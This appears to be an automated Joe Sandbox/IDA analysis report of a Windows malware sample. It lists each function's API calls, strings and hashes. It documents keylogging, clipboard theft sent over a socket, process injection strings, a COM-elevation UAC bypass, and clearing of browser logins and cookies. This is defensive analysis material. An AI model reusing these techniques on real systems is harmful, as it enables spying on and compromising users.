                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Find$Close$File$FirstNext
                                                                                            • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                            • API String ID: 3527384056-432212279
                                                                                            • Opcode ID: 9f42283b2c94117f6e85d4207ae57519e7a00b1854c7d39012e499490ea6eeea
                                                                                            • Instruction ID: 1e8de758c2b97f43aed4804fc6a56dd8ce4d3e4bc3adeefe5a602588f19c01c2
                                                                                            • Opcode Fuzzy Hash: 9f42283b2c94117f6e85d4207ae57519e7a00b1854c7d39012e499490ea6eeea
                                                                                            • Instruction Fuzzy Hash: F4412C319042196ACB14F7A5EC569EE7768EE11318F50017FF802B31E2EF399A458A9E
                                                                                            Function 0040E2F1 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 212processCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,?,?,004750FC), ref: 0040E30B
                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,004750FC), ref: 0040E336
                                                                                            • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040E352
                                                                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E3D5
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,004750FC), ref: 0040E3E4
                                                                                              • Part of subcall function 004128AD: RegCreateKeyA.ADVAPI32(80000001,00000000,TeF), ref: 004128BB
                                                                                              • Part of subcall function 004128AD: RegSetValueExA.KERNEL32(TeF,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040B94C,004670E0,00000001,000000AF,00466554), ref: 004128D6
                                                                                              • Part of subcall function 004128AD: RegCloseKey.KERNEL32(?,?,?,?,0040B94C,004670E0,00000001,000000AF,00466554), ref: 004128E1
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,004750FC), ref: 0040E449
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Close$CreateHandleProcess32$FileFirstModuleNameNextSnapshotToolhelp32Value
                                                                                            • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$h&y$ieinstal.exe$ielowutil.exe
                                                                                            • API String ID: 726551946-1014267323
                                                                                            • Opcode ID: e328335739572b16f2219d71ccafd8b74f288431985618af75b623c792b6b059
                                                                                            • Instruction ID: 57de327b15d82dbd2eac346b6cac6cdabb084366653080b34320caf9a24139d1
                                                                                            • Opcode Fuzzy Hash: e328335739572b16f2219d71ccafd8b74f288431985618af75b623c792b6b059
                                                                                            • Instruction Fuzzy Hash: A17150311043419BC714FB62D8529AFB7A5AFD1358F400D3EF986631E2EF389919CA9A
                                                                                            Function 00415B5E Relevance: 18.1, APIs: 12, Instructions: 80clipboardmemoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenClipboard.USER32 ref: 00415B5F
                                                                                            • EmptyClipboard.USER32 ref: 00415B6D
                                                                                            • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 00415B8D
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 00415B96
                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00415BCC
                                                                                            • SetClipboardData.USER32(0000000D,00000000), ref: 00415BD5
                                                                                            • CloseClipboard.USER32 ref: 00415BF2
                                                                                            • OpenClipboard.USER32 ref: 00415BF9
                                                                                            • GetClipboardData.USER32(0000000D), ref: 00415C09
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 00415C12
                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00415C1B
                                                                                            • CloseClipboard.USER32 ref: 00415C21
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                                                                            • String ID:
                                                                                            • API String ID: 3520204547-0
                                                                                            • Opcode ID: 401392ec2c350e89541102482b5e6be5e8c4774c6ca6b1b50972a381e005c1c1
                                                                                            • Instruction ID: a6dc46a1ac747b1df6f49b20b287b9a63e2ec98da8de7deae82efe0a0170cbcd
                                                                                            • Opcode Fuzzy Hash: 401392ec2c350e89541102482b5e6be5e8c4774c6ca6b1b50972a381e005c1c1
                                                                                            • Instruction Fuzzy Hash: A82137711047009BC714BBB1DC5AAAF7669AF94B06F00443FF907A61E2EF38C945C76A
                                                                                            Function 0041B63A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 105fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,h&y,00475308), ref: 0041B694
                                                                                            • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,h&y,00475308), ref: 0041B6C6
                                                                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,h&y,00475308), ref: 0041B734
                                                                                            • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,h&y,00475308), ref: 0041B741
                                                                                              • Part of subcall function 0041B63A: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,h&y,00475308), ref: 0041B717
                                                                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,?,h&y,00475308), ref: 0041B76C
                                                                                            • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,h&y,00475308), ref: 0041B773
                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,h&y,00475308), ref: 0041B77B
                                                                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,?,h&y,00475308), ref: 0041B78E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                                                            • String ID: h&y
                                                                                            • API String ID: 2341273852-1401030966
                                                                                            • Opcode ID: 29d361786a175de539fdf9d753c964fcdbe74632238a9f507c15aa3fc292f646
                                                                                            • Instruction ID: 009c1ade3c0c7cd9a9baeecb78710ce3116f293085b5e5d3e47bbce280e6f24a
                                                                                            • Opcode Fuzzy Hash: 29d361786a175de539fdf9d753c964fcdbe74632238a9f507c15aa3fc292f646
                                                                                            • Instruction Fuzzy Hash: 2931937180521CAACB20E7B19C89FDA777CAF55304F0404EBF515E2181EF799AC4CB69
                                                                                            Function 0044804A Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370timeCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 004480CC
                                                                                            • _free.LIBCMT ref: 004480F0
                                                                                            • _free.LIBCMT ref: 00448277
                                                                                            • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045E478), ref: 00448289
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,0047279C,000000FF,00000000,0000003F,00000000,?,?), ref: 00448301
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,004727F0,000000FF,?,0000003F,00000000,?), ref: 0044832E
                                                                                            • _free.LIBCMT ref: 00448443
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                                                            • String ID: xE$xE
                                                                                            • API String ID: 314583886-1741595589
                                                                                            • Opcode ID: d596b97672170a59560d370264e130457457ea9fa8a9b0ba60a97bf2640f5a79
                                                                                            • Instruction ID: 53eab31d398634ed2913b9f897b2f59caf849b5b19a8cc02276c673e3ebcc531
                                                                                            • Opcode Fuzzy Hash: d596b97672170a59560d370264e130457457ea9fa8a9b0ba60a97bf2640f5a79
                                                                                            • Instruction Fuzzy Hash: 24C14731904205ABFB249F698D81AAF7BB8EF41310F2441AFE88497351EF798E42C75C
                                                                                            Function 0041894A Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 197COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 0$1$2$3$4$5$6$7
                                                                                            • API String ID: 0-3177665633
                                                                                            • Opcode ID: 6d8d61d5fd1b3d06eb8c3e74dcd3fa59f6a6901e114636d14e9c7b12e1fc9d9f
                                                                                            • Instruction ID: a206eb20bee8e87b23b85030021c48398d73e585fead2f4b7fd4ae1d02439eb2
                                                                                            • Opcode Fuzzy Hash: 6d8d61d5fd1b3d06eb8c3e74dcd3fa59f6a6901e114636d14e9c7b12e1fc9d9f
                                                                                            • Instruction Fuzzy Hash: EA61D5B4108301AEDB00EF21C862FEA77E4AF95750F44485EF591672E2DF78AA48C797
                                                                                            Function 00409B10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 108keyboardthreadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetForegroundWindow.USER32(?,?,00475108), ref: 00409B3F
                                                                                            • GetWindowThreadProcessId.USER32(00000000,?), ref: 00409B4B
                                                                                            • GetKeyboardLayout.USER32(00000000), ref: 00409B52
                                                                                            • GetKeyState.USER32(00000010), ref: 00409B5C
                                                                                            • GetKeyboardState.USER32(?,?,00475108), ref: 00409B67
                                                                                            • ToUnicodeEx.USER32(0047515C,00000000,?,?,00000010,00000000,00000000), ref: 00409B8A
                                                                                            • ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 00409BE3
                                                                                            • ToUnicodeEx.USER32(0047515C,?,?,?,00000010,00000000,00000000), ref: 00409C1C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                                                                            • String ID: `kG
                                                                                            • API String ID: 1888522110-3643241581
                                                                                            • Opcode ID: c97b305c4e5192c039be4b57959f7d148ad44e176559ca20096398a0f42faa8b
                                                                                            • Instruction ID: 5852d3e9e60d78bbc7fecef5f6baa999b7b2ba0a9f64a262714a670a3ee03c46
                                                                                            • Opcode Fuzzy Hash: c97b305c4e5192c039be4b57959f7d148ad44e176559ca20096398a0f42faa8b
                                                                                            • Instruction Fuzzy Hash: 3B318F72504308AFD700DF91DC45FDBB7ECEB88715F01083AB645D61A1DBB5E9488B9A
                                                                                            Function 00406764 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 55COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _wcslen.LIBCMT ref: 00406788
                                                                                            • CoGetObject.OLE32(?,00000024,004669B0,00000000), ref: 004067E9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Object_wcslen
                                                                                            • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                                                            • API String ID: 240030777-3166923314
                                                                                            • Opcode ID: 37d5bffcbb8f4b2cbb961f9636bb3800fd08e5c8d40d037755d6192962cbe9cf
                                                                                            • Instruction ID: 6c9b37094527eb08cc4748ecdfbd23cbc672ad5faa28133fe458ce4522bc368c
                                                                                            • Opcode Fuzzy Hash: 37d5bffcbb8f4b2cbb961f9636bb3800fd08e5c8d40d037755d6192962cbe9cf
                                                                                            • Instruction Fuzzy Hash: B11133B29011186ADB10FAA58955A9E77BCDB48714F11047FF905F3281E77C9A0486BD
                                                                                            Function 00419AB8 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,00475920), ref: 00419ACE
                                                                                            • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 00419B1D
                                                                                            • GetLastError.KERNEL32 ref: 00419B2B
                                                                                            • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 00419B63
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                                                            • String ID:
                                                                                            • API String ID: 3587775597-0
                                                                                            • Opcode ID: 1411b1fedadf6403052f9cb6c3b407483e750bb738e8e4bb40bf4d01316137ed
                                                                                            • Instruction ID: 410433f0f292194423399e5208e7b63ee2478b974df0930e3a7ace9da88798fe
                                                                                            • Opcode Fuzzy Hash: 1411b1fedadf6403052f9cb6c3b407483e750bb738e8e4bb40bf4d01316137ed
                                                                                            • Instruction Fuzzy Hash: C28142311043049BC314FB21DC95DAFB7A8BF94718F50492EF582621D2EF78EA09CB9A
                                                                                            Function 0041301D Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 391registrylibraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,00000001), ref: 004130F2
                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000001), ref: 004130FE
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            • LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 004132C5
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 004132CC
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AddressCloseCreateLibraryLoadProcsend
                                                                                            • String ID: SHDeleteKeyW$Shlwapi.dll
                                                                                            • API String ID: 2127411465-314212984
                                                                                            • Opcode ID: a81e96a94d009245a0c1849c7290c6c134835b3fa4168208ceb533d2f016500c
                                                                                            • Instruction ID: 0508f95716d3db9771c6b78d28bd3d55684df0f5bc265fe56362dad8d88080f3
                                                                                            • Opcode Fuzzy Hash: a81e96a94d009245a0c1849c7290c6c134835b3fa4168208ceb533d2f016500c
                                                                                            • Instruction Fuzzy Hash: CEB1A371A043006BC614FA76CC979BE76695F9471CF40063FF846B31E2EE7C9A48869B
                                                                                            Function 00418E5F Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 245fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileW.KERNEL32(00000000,?), ref: 004190B5
                                                                                            • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419181
                                                                                              • Part of subcall function 0041B825: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,00409F65), ref: 0041B83E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$Find$CreateFirstNext
                                                                                            • String ID: PSG$NG$VG$VG
                                                                                            • API String ID: 341183262-216422830
                                                                                            • Opcode ID: a425250e6ea112d3e86a1bec2babb80dfd3eebdcca3d2ff723d3fd7b15b52e22
                                                                                            • Instruction ID: 0b04574543ffaf1c42473f802d0f517b04b5d48d9dde9d4f65c428d20583ff9f
                                                                                            • Opcode Fuzzy Hash: a425250e6ea112d3e86a1bec2babb80dfd3eebdcca3d2ff723d3fd7b15b52e22
                                                                                            • Instruction Fuzzy Hash: AF8150315042405AC314FB71C8A6EEF73A8AFD0718F50493FF946671E2EF389A49C69A
                                                                                            Function 004515C7 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 188COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 0044712E
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 0044713B
                                                                                            • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 004516D3
                                                                                            • IsValidCodePage.KERNEL32(00000000), ref: 0045172E
                                                                                            • IsValidLocale.KERNEL32(?,00000001), ref: 0045173D
                                                                                            • GetLocaleInfoW.KERNEL32(?,00001001,00443EFC,00000040,?,0044401C,00000055,00000000,?,?,00000055,00000000), ref: 00451785
                                                                                            • GetLocaleInfoW.KERNEL32(?,00001002,00443F7C,00000040), ref: 004517A4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                                                            • String ID: (E
                                                                                            • API String ID: 745075371-542121585
                                                                                            • Opcode ID: a84efe1a2cce186fb5bbf2749623e7c2965abdb2206941bc4280497163ca2dcb
                                                                                            • Instruction ID: 0c55cced660072bbdea70b00f38c40adf5ab32faa3293abc4b1f14fb3cf6f882
                                                                                            • Opcode Fuzzy Hash: a84efe1a2cce186fb5bbf2749623e7c2965abdb2206941bc4280497163ca2dcb
                                                                                            • Instruction Fuzzy Hash: EB5193719002059BDB10EFA5CC41BBF77B8AF04706F18056BFD11EB262DB789949CB69
                                                                                            Function 0040B21B Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040B257
                                                                                            • GetLastError.KERNEL32 ref: 0040B261
                                                                                            Strings
                                                                                            • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040B222
                                                                                            • [Chrome StoredLogins found, cleared!], xrefs: 0040B287
                                                                                            • [Chrome StoredLogins not found], xrefs: 0040B27B
                                                                                            • UserProfile, xrefs: 0040B227
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: DeleteErrorFileLast
                                                                                            • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                                                            • API String ID: 2018770650-1062637481
                                                                                            • Opcode ID: f2b1f7e74eceab3f3e63cdd489d37eb70056ddee3209784dfde9d31e30a907f8
                                                                                            • Instruction ID: af3d5975f8ef5736f4e1f689bc2271043fd855ebe8bb8600121af3fad6928989
                                                                                            • Opcode Fuzzy Hash: f2b1f7e74eceab3f3e63cdd489d37eb70056ddee3209784dfde9d31e30a907f8
                                                                                            • Instruction Fuzzy Hash: 5C01D63168010597CA0476B6DC6F8AF3B24E921708B10017FF802731E2FF3A9905C6DE
